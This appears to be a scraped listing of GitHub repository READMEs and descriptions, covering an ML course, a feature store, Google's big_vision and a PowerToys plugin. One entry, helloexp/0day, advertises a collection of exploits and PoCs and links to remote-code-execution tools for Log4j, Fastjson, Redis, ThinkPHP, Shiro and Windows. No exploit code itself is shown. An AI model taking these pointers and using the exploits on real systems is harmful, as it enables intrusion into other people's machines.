 <p> <h2 align="center"> 機器學習 Machine Learning 2022 Spring by National Taiwan University<br> </h2> </p> This repository contains code and slides of 15 homeworks for Machine Learning instructed by 李宏毅(Hung-Yi Lee). All the information about this course can be found on the [course website](https://speech.ee.ntu.edu.tw/~hylee/ml/2022-spring.php). ## 15 Homeworks * HW1 : Regression [[Video]](https://youtu.be/cFIImk_yBTg) [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW01/HW01.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW01/HW01.pdf) * HW2 : Classification [[Video]](https://youtu.be/FxuPF4vjga4) [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW02/HW02.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW02/HW02.pdf) * HW3 : CNN [[Video]](https://youtu.be/GXLwjQ_O50g) [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW03/HW03.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW03/HW03.pdf) * HW4 : Self-Attention [[Video]](https://youtu.be/-KbD40w9-Io) [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW04/hw04.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW04/Machine%20Learning%20HW4.pdf) * HW5 : Transformer [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW05/HW05.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW05/HW05.pdf) * HW6 : GAN [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW06/HW06.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW06/HW06.pdf) * HW7 : BERT [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW07/HW07.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW07/HW07.pdf) * HW8 : Autoencoder [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW08/HW08.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW08/HW08.pdf) * HW9 : Explainable AI [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW09/HW09.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW09/HW09.pdf) * HW10 : Adversarial Attack [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW10/HW10.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW10/HW10.pdf) * HW11 : Adaptation [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW11/HW11.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW11/HW11.pdf) * HW12 : Reinforcement Learning [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW12/HW12.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW12/HW12.pdf) * HW13 : Network Compression [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW13/HW13.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW13/HW13.pdf) * HW14 : Life-Long Learning [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW14/HW14.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW14/HW14.pdf) * HW15 : Meta Learning [[Code]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW15/HW15.ipynb) [[Slide]](https://github.com/virginiakm1988/ML2022-Spring/blob/main/HW15/HW15.pdf) ## Lecture Videos The lecture videos are available on Hung-Yi Lee's [youtube channel](https://www.youtube.com/channel/UC2ggjtuuWvxrHHHiaDH1dlQ). [<img src="https://i.imgur.com/SFDpe52.jpg" width="500">](https://www.youtube.com/watch?v=7XZR0-4uS5s&t=18s) <img src="http://i.imgur.com/SRv0h6F.jpg" width="500">

**Official** 李宏毅 (Hung-yi Lee) 機器學習 Machine Learning 2022 Spring

machine-learning,deep-learning

feathr-ai/feathr

Feathr – A scalable, unified data and AI engineering platform for enterprise

feature-engineering,feature-store,artificial-intelligence,mlops,data-engineering,data-quality,machine-learning,apache-spark,azure,data-science

helloexp/0day

# 0day [](https://github.com/helloexp/0day/network) [](https://github.com/helloexp/0day/stargazers) [](https://github.com/helloexp/0day/issues) > 由于众所周知的原因，原始仓库被删除，但保留了副本，forks和stars 清零 > 不过请放心，还是原来的配方，原来的味道。 > >为了避免再次出现这种情况找不到此项目，可以[Follow](https://github.com/helloexp) 一下 > > 本仓库所有内容仅限用于学习交流 ### [English](./README-en.md) | 中文 各种CMS、各种平台、各种系统、各种软件漏洞的EXP、POC ,该项目将持续更新 ## 优秀项目列表 1. Fastjson RCE [https://github.com/dbgee/fastjson-rce](https://github.com/dbgee/fastjson-rce) 2. Log4j RCE [https://github.com/dbgee/log4j2_rce](https://github.com/dbgee/log4j2_rce) 3. redis RCE [https://github.com/Ridter/redis-rce](https://github.com/Ridter/redis-rce) 4. Thinkphp RCE [https://github.com/helloexp/0day](https://github.com/helloexp/0day/tree/master/Thinkphp) 5. Windows RCE [https://github.com/smgorelik/Windows-RCE-exploits](https://github.com/smgorelik/Windows-RCE-exploits) 6. shiro 反序列化 [https://github.com/helloexp/0day/tree/master/shiro](https://github.com/helloexp/0day/tree/master/shiro) 7. VPS2SUSE [https://github.com/U2FsdGVkX1/vps2suse](https://github.com/U2FsdGVkX1/vps2suse) 8. Cassandra 代码注入 [https://github.com/QHpix/CVE-2021-44521](https://github.com/QHpix/CVE-2021-44521) 9. Reapoc -- 标准化Poc & 漏洞环境收集盒 [https://github.com/cckuailong/reapoc](https://github.com/cckuailong/reapoc) > **_优秀项目收录_** > 如果需要在本项目中展示自己的github 项目，请在[README.md](https://github.com/helloexp/0day/edit/master/README.md) 添加项目地址，更新上面列表，然后提交PR即可（open pull request） ## 为什么发起这个项目？ 1. 几个月前，我参加了一场AWD攻防比赛，发现提前收集POC 对比赛很有好处，而且在收集这些 `payload` 的过程中，也能学到许多东西. 2. 后续的HW、CTF、或日常的渗透等活动可以快速定位、利用漏洞. ## 问题反馈 在使用中有任何问题，欢迎反馈给我，可以直接发起 PR或issue. ## POC、EXP 贡献 1. Fork [本项目](https://github.com/helloexp/0day) 到自己的github 账号下 2. Clone 自己的项目代码到本地 3. 在本地修改代码（新增poc、exp，或修复bug） 4. push 修改后的代码到自己的项目下 5. PR (open pull requests) 到本项目 1. 贡献类型可以有很多 readme 更新、readme 翻译、bug修复、功能优化、功能新增等等等等 2. star、fork 支持本项目的人气也非常感谢

各种CMS、各种平台、各种系统、各种软件漏洞的EXP、POC ,该项目将持续更新

exploit

lin-ycv/EverythingPowerToys

Everything search plugin for PowerToys Run

everything-search,everything,powertoys,run,voidtools,search,file-search,extension,plugin,powertoys-run

google-research/big_vision

# Big Vision This codebase is designed for training large-scale vision models using [Cloud TPU VMs](https://cloud.google.com/blog/products/compute/introducing-cloud-tpu-vms) or GPU machines. It is based on [Jax](https://github.com/google/jax)/[Flax](https://github.com/google/flax) libraries, and uses [tf.data](https://www.tensorflow.org/guide/data) and [TensorFlow Datasets](https://www.tensorflow.org/datasets) for scalable and reproducible input pipelines. The open-sourcing of this codebase has two main purposes: 1. Publishing the code of research projects developed in this codebase (see a list below). 2. Providing a strong starting point for running large-scale vision experiments on GPU machines and Google Cloud TPUs, which should scale seamlessly and out-of-the box from a single TPU core to a distributed setup with up to 2048 TPU cores. `big_vision` aims to support research projects at Google. We are unlikely to work on feature requests or accept external contributions, unless they were pre-approved (ask in an issue first). For a well-supported transfer-only codebase, see also [vision_transformer](https://github.com/google-research/vision_transformer). Note that `big_vision` is quite dynamic codebase and, while we intend to keep the core code fully-functional at all times, we can not guarantee timely updates of the project-specific code that lives in the `.../proj/...` subfolders. However, we provide a [table](#project-specific-commits) with last known commits where specific projects were known to work. The following research projects were originally conducted in the `big_vision` codebase: ### Architecture research - [An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale](https://arxiv.org/abs/2010.11929), by Alexey Dosovitskiy*, Lucas Beyer*, Alexander Kolesnikov*, Dirk Weissenborn*, Xiaohua Zhai*, Thomas Unterthiner, Mostafa Dehghani, Matthias Minderer, Georg Heigold, Sylvain Gelly, Jakob Uszkoreit, and Neil Houlsby* - [Scaling Vision Transformers](https://arxiv.org/abs/2106.04560), by Xiaohua Zhai*, Alexander Kolesnikov*, Neil Houlsby, and Lucas Beyer*\ Resources: [config](big_vision/configs/proj/scaling_laws/train_vit_g.py). - [How to train your ViT? Data, Augmentation, and Regularization in Vision Transformers](https://arxiv.org/abs/2106.10270), by Andreas Steiner*, Alexander Kolesnikov*, Xiaohua Zhai*, Ross Wightman, Jakob Uszkoreit, and Lucas Beyer* - [MLP-Mixer: An all-MLP Architecture for Vision](https://arxiv.org/abs/2105.01601), by Ilya Tolstikhin*, Neil Houlsby*, Alexander Kolesnikov*, Lucas Beyer*, Xiaohua Zhai, Thomas Unterthiner, Jessica Yung, Andreas Steiner, Daniel Keysers, Jakob Uszkoreit, Mario Lucic, Alexey Dosovitskiy\ Resources: [config](big_vision/configs/mlp_mixer_i1k.py). - [Better plain ViT baselines for ImageNet-1k](https://arxiv.org/abs/2205.01580), by Lucas Beyer, Xiaohua Zhai, Alexander Kolesnikov\ Resources: [config](big_vision/configs/vit_s16_i1k.py) - [UViM: A Unified Modeling Approach for Vision with Learned Guiding Codes](https://arxiv.org/abs/2205.10337), by Alexander Kolesnikov^*, André Susano Pinto^*, Lucas Beyer*, Xiaohua Zhai*, Jeremiah Harmsen*, Neil Houlsby*\ Resources: [readme](big_vision/configs/proj/uvim/README.md), [configs](big_vision/configs/proj/uvim), [colabs](big_vision/configs/proj/uvim). - [FlexiViT: One Model for All Patch Sizes](https://arxiv.org/abs/2212.08013), by Lucas Beyer*, Pavel Izmailov*, Alexander Kolesnikov*, Mathilde Caron*, Simon Kornblith*, Xiaohua Zhai*, Matthias Minderer*, Michael Tschannen*, Ibrahim Alabdulmohsin*, Filip Pavetic*\ Resources: [readme](big_vision/configs/proj/flexivit/README.md), [configs](big_vision/configs/proj/flexivit). - [Dual PatchNorm](https://arxiv.org/abs/2302.01327), by Manoj Kumar, Mostafa Dehghani, Neil Houlsby. - [Getting ViT in Shape: Scaling Laws for Compute-Optimal Model Design](https://arxiv.org/abs/2305.13035), by Ibrahim Alabdulmohsin*, Xiaohua Zhai*, Alexander Kolesnikov, Lucas Beyer*. - (partial) [Scaling Vision Transformers to 22 Billion Parameters](https://arxiv.org/abs/2302.05442), by Mostafa Dehghani*, Josip Djolonga*, Basil Mustafa*, Piotr Padlewski*, Jonathan Heek*, *wow many middle authors*, Neil Houlsby*. - (partial) [Finite Scalar Quantization: VQ-VAE Made Simple](https://arxiv.org/abs/2309.15505), by Fabian Mentzer, David Minnen, Eirikur Agustsson, Michael Tschannen. - [GIVT: Generative Infinite-Vocabulary Transformers](https://arxiv.org/abs/2312.02116), by Michael Tschannen, Cian Eastwood, Fabian Mentzer\ Resources: [readme](big_vision/configs/proj/givt/README.md), [config](big_vision/configs/proj/givt/givt_imagenet2012.py), [colab](https://colab.research.google.com/github/google-research/big_vision/blob/main/big_vision/configs/proj/givt/givt_demo_colab.ipynb). ### Multimodal research - [LiT: Zero-Shot Transfer with Locked-image Text Tuning](https://arxiv.org/abs/2111.07991), by Xiaohua Zhai*, Xiao Wang*, Basil Mustafa*, Andreas Steiner*, Daniel Keysers, Alexander Kolesnikov, and Lucas Beyer*\ Resources: [trainer](big_vision/trainers/proj/image_text/contrastive.py), [config](big_vision/configs/proj/image_text/lit_coco.py), [colab](https://colab.research.google.com/github/google-research/big_vision/blob/main/big_vision/configs/proj/image_text/lit.ipynb). - [Image-and-Language Understanding from Pixels Only](https://arxiv.org/abs/2212.08045), by Michael Tschannen, Basil Mustafa, Neil Houlsby\ Resources: [readme](big_vision/configs/proj/clippo/README.md), [config](big_vision/configs/proj/clippo/train_clippo.py), [colab](https://colab.research.google.com/github/google-research/big_vision/blob/main/big_vision/configs/proj/clippo/clippo_colab.ipynb). - [Sigmoid Loss for Language Image Pre-Training](https://arxiv.org/abs/2303.15343), by Xiaohua Zhai*, Basil Mustafa, Alexander Kolesnikov, Lucas Beyer*\ Resources: [colab and models](https://colab.research.google.com/github/google-research/big_vision/blob/main/big_vision/configs/proj/image_text/SigLIP_demo.ipynb), code TODO. - [A Study of Autoregressive Decoders for Multi-Tasking in Computer Vision](https://arxiv.org/abs/2303.17376), by Lucas Beyer*, Bo Wan*, Gagan Madan*, Filip Pavetic*, Andreas Steiner*, Alexander Kolesnikov, André Susano Pinto, Emanuele Bugliarello, Xiao Wang, Qihang Yu, Liang-Chieh Chen, Xiaohua Zhai*. - [Image Captioners Are Scalable Vision Learners Too](https://arxiv.org/abs/2306.07915), by Michael Tschannen*, Manoj Kumar*, Andreas Steiner*, Xiaohua Zhai, Neil Houlsby, Lucas Beyer*.\ Resources: [readme](big_vision/configs/proj/cappa/README.md), [config](big_vision/configs/proj/cappa/pretrain.py), [model](big_vision/models/proj/cappa/cappa.py). - [Three Towers: Flexible Contrastive Learning with Pretrained Image Models](https://arxiv.org/abs/2305.16999), by Jannik Kossen, Mark Collier, Basil Mustafa, Xiao Wang, Xiaohua Zhai, Lucas Beyer, Andreas Steiner, Jesse Berent, Rodolphe Jenatton, Efi Kokiopoulou. - (partial) [PaLI: A Jointly-Scaled Multilingual Language-Image Model](https://arxiv.org/abs/2209.06794), by Xi Chen, Xiao Wang, Soravit Changpinyo, *wow so many middle authors*, Anelia Angelova, Xiaohua Zhai, Neil Houlsby, Radu Soricut. - (partial) [PaLI-3 Vision Language Models: Smaller, Faster, Stronger](https://arxiv.org/abs/2310.09199), by Xi Chen, Xiao Wang, Lucas Beyer, Alexander Kolesnikov, Jialin Wu, Paul Voigtlaender, Basil Mustafa, Sebastian Goodman, Ibrahim Alabdulmohsin, Piotr Padlewski, Daniel Salz, Xi Xiong, Daniel Vlasic, Filip Pavetic, Keran Rong, Tianli Yu, Daniel Keysers, Xiaohua Zhai, Radu Soricut. ### Training - [Knowledge distillation: A good teacher is patient and consistent](https://arxiv.org/abs/2106.05237), by Lucas Beyer*, Xiaohua Zhai*, Amélie Royer*, Larisa Markeeva*, Rohan Anil, and Alexander Kolesnikov*\ Resources: [README](big_vision/configs/proj/distill/README.md), [trainer](big_vision/trainers/proj/distill/distill.py), [colab](https://colab.research.google.com/drive/1nMykzUzsfQ_uAxfj3k35DYsATnG_knPl?usp=sharing). - [Sharpness-Aware Minimization for Efficiently Improving Generalization](https://arxiv.org/abs/2010.01412), by Pierre Foret, Ariel Kleiner, Hossein Mobahi, Behnam Neyshabur - [Surrogate Gap Minimization Improves Sharpness-Aware Training](https://arxiv.org/abs/2203.08065), by Juntang Zhuang, Boqing Gong, Liangzhe Yuan, Yin Cui, Hartwig Adam, Nicha Dvornek, Sekhar Tatikonda, James Duncan and Ting Liu \ Resources: [trainer](big_vision/trainers/proj/gsam/gsam.py), [config](big_vision/configs/proj/gsam/vit_i1k_gsam_no_aug.py) [reproduced results](https://github.com/google-research/big_vision/pull/8#pullrequestreview-1078557411) - [Tuning computer vision models with task rewards](https://arxiv.org/abs/2302.08242), by André Susano Pinto*, Alexander Kolesnikov*, Yuge Shi, Lucas Beyer, Xiaohua Zhai. - (partial) [VeLO: Training Versatile Learned Optimizers by Scaling Up](https://arxiv.org/abs/2211.09760) by Luke Metz, James Harrison, C. Daniel Freeman, Amil Merchant, Lucas Beyer, James Bradbury, Naman Agrawal, Ben Poole, Igor Mordatch, Adam Roberts, Jascha Sohl-Dickstein. ### Misc - [Are we done with ImageNet?](https://arxiv.org/abs/2006.07159), by Lucas Beyer*, Olivier J. Hénaff*, Alexander Kolesnikov*, Xiaohua Zhai*, and Aäron van den Oord* # Codebase high-level organization and principles in a nutshell The main entry point is a trainer module, which typically does all the boilerplate related to creating a model and an optimizer, loading the data, checkpointing and training/evaluating the model inside a loop. We provide the canonical trainer `train.py` in the root folder. Normally, individual projects within `big_vision` fork and customize this trainer. All models, evaluators and preprocessing operations live in the corresponding subdirectories and can often be reused between different projects. We encourage compatible APIs within these directories to facilitate reusability, but it is not strictly enforced, as individual projects may need to introduce their custom APIs. We have a powerful configuration system, with the configs living in the `configs/` directory. Custom trainers and modules can directly extend/modify the configuration options. Project-specific code resides in the `.../proj/...` namespace. It is not always possible to keep project-specific in sync with the core `big_vision` libraries, Below we provide the [last known commit](#project-specific-commits) for each project where the project code is expected to work. Training jobs are robust to interruptions and will resume seamlessly from the last saved checkpoint (assuming a user provides the correct `--workdir` path). Each configuration file contains a comment at the top with a `COMMAND` snippet to run it, and some hint of expected runtime and results. See below for more details, but generally speaking, running on a GPU machine involves calling `python -m COMMAND` while running on TPUs, including multi-host, involves ``` gcloud compute tpus tpu-vm ssh $NAME --zone=$ZONE --worker=all --command "bash big_vision/run_tpu.sh COMMAND" ``` See instructions below for more details on how to run `big_vision` code on a GPU machine or Google Cloud TPU. By default we write checkpoints and logfiles. The logfiles are a list of JSON objects, and we provide a short and straightforward [example colab to read and display the logs and checkpoints](https://colab.research.google.com/drive/1R_lvV542WUp8Q2y8sbyooZOGCplkn7KI?usp=sharing). # Current and future contents The first release contains the core part of pre-training, transferring, and evaluating classification models at scale on Cloud TPU VMs. We have since added the following key features and projects: - Contrastive Image-Text model training and evaluation as in LiT and CLIP. - Patient and consistent distillation. - Scaling ViT. - MLP-Mixer. - UViM. Features and projects we plan to release in the near future, in no particular order: - ImageNet-21k in TFDS. - Loading misc public models used in our publications (NFNet, MoCov3, DINO). - Memory-efficient Polyak-averaging implementation. - Advanced JAX compute and memory profiling. We are using internal tools for this, but may eventually add support for the publicly available ones. We will continue releasing code of our future publications developed within `big_vision` here. ### Non-content The following exist in the internal variant of this codebase, and there is no plan for their release: - Regular regression tests for both quality and speed. They rely heavily on internal infrastructure. - Advanced logging, monitoring, and plotting of experiments. This also relies heavily on internal infrastructure. However, we are open to ideas on this and may add some in the future, especially if implemented in a self-contained manner. - Not yet published, ongoing research projects. # GPU Setup We first discuss how to setup and run `big_vision` on a (local) GPU machine, and then discuss the setup for Cloud TPUs. Note that data preparation step for (local) GPU setup can be largely reused for the Cloud TPU setup. While the instructions skip this for brevity, we highly recommend using a [virtual environment](https://docs.python.org/3/library/venv.html) when installing python dependencies. ## Setting up python packages The first step is to checkout `big_vision` and install relevant python dependencies: ``` git clone https://github.com/google-research/big_vision cd big_vision/ pip3 install --upgrade pip pip3 install -r big_vision/requirements.txt ``` The latest version of `jax` library can be fetched as ``` pip3 install --upgrade "jax[cuda]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html ``` You may need a different `jax` package, depending on CUDA and cuDNN libraries installed on your machine. Please consult [official jax documentation](https://github.com/google/jax#pip-installation-gpu-cuda) for more information. ## Preparing tfds data For unified and reproducible access to standard datasets we opted to use the `tensorflow_datasets` (`tfds`) library. It requires each dataset to be downloaded, preprocessed and then to be stored on a hard drive (or, if you use "Google Cloud", preferably stored in a "GCP bucket".). Many datasets can be downloaded and preprocessed automatically when used for the first time. Nevertheless, we intentionally disable this feature and recommend doing dataset preparation step separately, ahead of the first run. It will make debugging easier if problems arise and some datasets, like `imagenet2012`, require manually downloaded data. Most of the datasets, e.g. `cifar100`, `oxford_iiit_pet` or `imagenet_v2` can be fully automatically downloaded and prepared by running ``` cd big_vision/ python3 -m big_vision.tools.download_tfds_datasets cifar100 oxford_iiit_pet imagenet_v2 ``` A full list of datasets is available at [this link](https://www.tensorflow.org/datasets/catalog/overview#all_datasets). Some datasets, like `imagenet2012` or `imagenet2012_real`, require the data to be downloaded manually and placed into `$TFDS_DATA_DIR/downloads/manual/`, which defaults to `~/tensorflow_datasets/downloads/manual/`. For example, for `imagenet2012` and `imagenet2012_real` one needs to place the official `ILSVRC2012_img_train.tar` and `ILSVRC2012_img_val.tar` files in that directory and then run `python3 -m big_vision.tools.download_tfds_datasets imagenet2012 imagenet2012_real` (which may take ~1 hour). If you use `Google Cloud` and, TPUs in particular, you can then upload the preprocessed data (stored in `$TFDS_DATA_DIR`) to "Google Cloud Bucket" and use the bucket on any of your (TPU) virtual machines to access the data. ## Running on a GPU machine Finally, after installing all python dependencies and preparing `tfds` data, the user can run the job using config of their choice, e.g. to train `ViT-S/16` model on ImageNet data, one should run the following command: ``` python3 -m big_vision.train --config big_vision/configs/vit_s16_i1k.py --workdir workdirs/`date '+%m-%d_%H%M'` ``` or to train MLP-Mixer-B/16, run (note the `gpu8` config param that reduces the default batch size and epoch count): ``` python3 -m big_vision.train --config big_vision/configs/mlp_mixer_i1k.py:gpu8 --workdir workdirs/`date '+%m-%d_%H%M'` ``` # Cloud TPU VM setup ## Create TPU VMs To create a single machine with 8 TPU cores, follow the following Cloud TPU JAX document: https://cloud.google.com/tpu/docs/run-calculation-jax To support large-scale vision research, more cores with multiple hosts are recommended. Below we provide instructions on how to do it. First, create some useful variables, which we be reused: ``` export NAME=<a name of the TPU deployment, e.g. my-tpu-machine> export ZONE=<GCP geographical zone, e.g. europe-west4-a> export GS_BUCKET_NAME=<Name of the storage bucket, e.g. my_bucket> ``` The following command line will create TPU VMs with 32 cores, 4 hosts. ``` gcloud compute tpus tpu-vm create $NAME --zone $ZONE --accelerator-type v3-32 --version tpu-ubuntu2204-base ``` ## Install `big_vision` on TPU VMs Fetch the `big_vision` repository, copy it to all TPU VM hosts, and install dependencies. ``` git clone https://github.com/google-research/big_vision gcloud compute tpus tpu-vm scp --recurse big_vision/big_vision $NAME: --zone=$ZONE --worker=all gcloud compute tpus tpu-vm ssh $NAME --zone=$ZONE --worker=all --command "bash big_vision/run_tpu.sh" ``` ## Download and prepare TFDS datasets We recommend preparing `tfds` data locally as described above and then uploading the data to `Google Cloud` bucket. However, if you prefer, the datasets which do not require manual downloads can be prepared automatically using a TPU machine as described below. Note that TPU machines have only 100 GB of disk space, and multihost TPU slices do not allow for external disks to be attached in a write mode, so the instructions below may not work for preparing large datasets. As yet another alternative, we provide instructions [on how to prepare `tfds` data on CPU-only GCP machine](#preparing-tfds-data-on-a-standalone-gcp-cpu-machine). Specifically, the seven TFDS datasets used during evaluations will be generated under `~/tensorflow_datasets` on TPU machine with this command: ``` gcloud compute tpus tpu-vm ssh $NAME --zone=$ZONE --worker=0 --command "TFDS_DATA_DIR=~/tensorflow_datasets bash big_vision/run_tpu.sh big_vision.tools.download_tfds_datasets cifar10 cifar100 oxford_iiit_pet oxford_flowers102 cars196 dtd uc_merced" ``` You can then copy the datasets to GS bucket, to make them accessible to all TPU workers. ``` gcloud compute tpus tpu-vm ssh $NAME --zone=$ZONE --worker=0 --command "rm -r ~/tensorflow_datasets/downloads && gsutil cp -r ~/tensorflow_datasets gs://$GS_BUCKET_NAME" ``` If you want to integrate other public or custom datasets, i.e. imagenet2012, please follow [the official guideline](https://www.tensorflow.org/datasets/catalog/overview). ## Pre-trained models For the full list of pre-trained models check out the `load` function defined in the same module as the model code. And for example config on how to use these models, see `configs/transfer.py`. ## Run the transfer script on TPU VMs The following command line fine-tunes a pre-trained `vit-i21k-augreg-b/32` model on `cifar10` dataset. ``` gcloud compute tpus tpu-vm ssh $NAME --zone=$ZONE --worker=all --command "TFDS_DATA_DIR=gs://$GS_BUCKET_NAME/tensorflow_datasets bash big_vision/run_tpu.sh big_vision.train --config big_vision/configs/transfer.py:model=vit-i21k-augreg-b/32,dataset=cifar10,crop=resmall_crop --workdir gs://$GS_BUCKET_NAME/big_vision/workdir/`date '+%m-%d_%H%M'` --config.lr=0.03" ``` ## Run the train script on TPU VMs To train your own big_vision models on a large dataset, e.g. `imagenet2012` ([prepare the TFDS dataset](https://www.tensorflow.org/datasets/catalog/imagenet2012)), run the following command line. ``` gcloud compute tpus tpu-vm ssh $NAME --zone=$ZONE --worker=all --command "TFDS_DATA_DIR=gs://$GS_BUCKET_NAME/tensorflow_datasets bash big_vision/run_tpu.sh big_vision.train --config big_vision/configs/bit_i1k.py --workdir gs://$GS_BUCKET_NAME/big_vision/workdir/`date '+%m-%d_%H%M'`" ``` ## FSDP training. `big_vision` supports flexible parameter and model sharding strategies. Currently, we support a popular FSDP sharding via a simple config change, see [this config example](big_vision/configs/transfer.py). For example, to run FSDP finetuning of a pretrained ViT-L model, run the following command (possible adjusting batch size depending on your hardware): ``` gcloud compute tpus tpu-vm ssh $NAME --zone=$ZONE --worker=all --command "TFDS_DATA_DIR=gs://$GS_BUCKET_NAME/tensorflow_datasets bash big_vision/run_tpu.sh big_vision.train --config big_vision/configs/transfer.py:model=vit-i21k-augreg-l/16,dataset=oxford_iiit_pet,crop=resmall_crop,fsdp=True,batch_size=256 --workdir gs://$GS_BUCKET_NAME/big_vision/workdir/`date '+%m-%d_%H%M'` --config.lr=0.03" ``` ## Image-text training with SigLIP. A minimal example that uses public `coco` captions data: ``` gcloud compute tpus tpu-vm ssh $NAME --zone=$ZONE --worker=all --command "TFDS_DATA_DIR=gs://$GS_BUCKET_NAME/tensorflow_datasets bash big_vision/run_tpu.sh big_vision.trainers.proj.image_text.siglip --config big_vision/configs/proj/image_text/siglip_lit_coco.py --workdir gs://$GS_BUCKET_NAME/big_vision/`date '+%Y-%m-%d_%H%M'`" ``` ## Sometimes useful gcloud commands - Destroy the TPU machines: `gcloud compute tpus tpu-vm delete $NAME --zone $ZONE` - Remove all big_vision-related folders on all hosts: `gcloud compute tpus tpu-vm ssh $NAME --zone $ZONE --worker=all --command 'rm -rf ~/big_vision ~/bv_venv'` ## Preparing `tfds` data on a standalone GCP CPU machine. First create a new machine and a disk (feel free to adjust exact machine type and disk settings/capacity): ``` export NAME_CPU_HOST=<A name of a CPU-only machine> export NAME_DISK=<A name of a disk> gcloud compute instances create $NAME_CPU_HOST --machine-type c3-standard-22 --zone $ZONE --image-family ubuntu-2204-lts --image-project ubuntu-os-cloud gcloud compute disks create $NAME_DISK --size 1000GB --zone $ZONE --type pd-balanced ``` Now attach the disk to the newly create machine: ``` gcloud compute instances attach-disk $NAME_CPU_HOST --disk $NAME_DISK --zone $ZONE ``` Next, `ssh` to the machine `gcloud compute ssh $NAME_CPU_HOST --zone=$ZONE` and [follow instructions to format and mount the disk](https://cloud.google.com/compute/docs/disks/format-mount-disk-linux). Let's assume it was mounted to `/mnt/disks/tfds`. Almost there, now clone and set up `big_vision`: ``` gcloud compute ssh $NAME_CPU_HOST --zone=$ZONE --command "git clone https://github.com/google-research/big_vision.git && cd big_vision && sh big_vision/run_tpu.sh" ``` Finally, prepare the dataset (e.g. `coco_captions`) using the utility script and copy the result to you google cloud bucket: ``` gcloud compute ssh $NAME_CPU_HOST --zone=$ZONE --command "cd big_vision && TFDS_DATA_DIR=/mnt/disks/tfds/tensorflow_datasets bash big_vision/run_tpu.sh big_vision.tools.download_tfds_datasets coco_captions" gcloud compute ssh $NAME_CPU_HOST --zone=$ZONE --command "rm -rf /mnt/disks/tfds/tensorflow_datasets/downloads && gsutil cp -r /mnt/disks/tfds/tensorflow_datasets gs://$GS_BUCKET_NAME" ``` # ViT baseline We provide a well-tuned ViT-S/16 baseline in the config file named `vit_s16_i1k.py`. It achieves 76.5% accuracy on ImageNet validation split in 90 epochs of training, being a strong and simple starting point for research on the ViT models. Please see our [arXiv note](https://arxiv.org/abs/2205.01580) for more details and if this baseline happens to by useful for your research, consider citing ``` @article{vit_baseline, url = {https://arxiv.org/abs/2205.01580}, author = {Beyer, Lucas and Zhai, Xiaohua and Kolesnikov, Alexander}, title = {Better plain ViT baselines for ImageNet-1k}, journal={arXiv preprint arXiv:2205.01580}, year = {2022}, } ``` # Project specific commits The last known commit where the specific project code is expected to work. The core code and configs are expected to work at head. | Project | Commit | |------------|-----------------------------------------------------------------------------------------------| | UViM | https://github.com/google-research/big_vision/commit/21bd6ebe253f070f584d8b777ad76f4abce51bef | | image_text | https://github.com/google-research/big_vision/commit/8921d5141504390a8a4f7b2dacb3b3c042237290 | | distill | https://github.com/google-research/big_vision/commit/2f3f493af048dbfd97555ff6060f31a0e686f17f | | GSAM | WIP | | CLIPPO | https://github.com/google-research/big_vision/commit/fd2d3bd2efc9d89ea959f16cd2f58ae8a495cd44 | | CapPa | https://github.com/google-research/big_vision/commit/7ace659452dee4b68547575352c022a2eef587a5 | | GIVT | https://github.com/google-research/big_vision/commit/0cb70881dd33b3343b769347dc19793c4994b8cb | # Citing the codebase If you found this codebase useful for your research, please consider using the following BibTEX to cite it: ``` @misc{big_vision, author = {Beyer, Lucas and Zhai, Xiaohua and Kolesnikov, Alexander}, title = {Big Vision}, year = {2022}, publisher = {GitHub}, journal = {GitHub repository}, howpublished = {\url{https://github.com/google-research/big_vision}} } ``` # Disclaimer This is not an official Google Product. # License Unless explicitly noted otherwise, everything in the big_vision codebase (including models and colabs) is released under the Apache2 license. See the LICENSE file for the full license text.

Official codebase used to develop Vision Transformer, SigLIP, MLP-Mixer, LiT and more.

mianfeifq/share

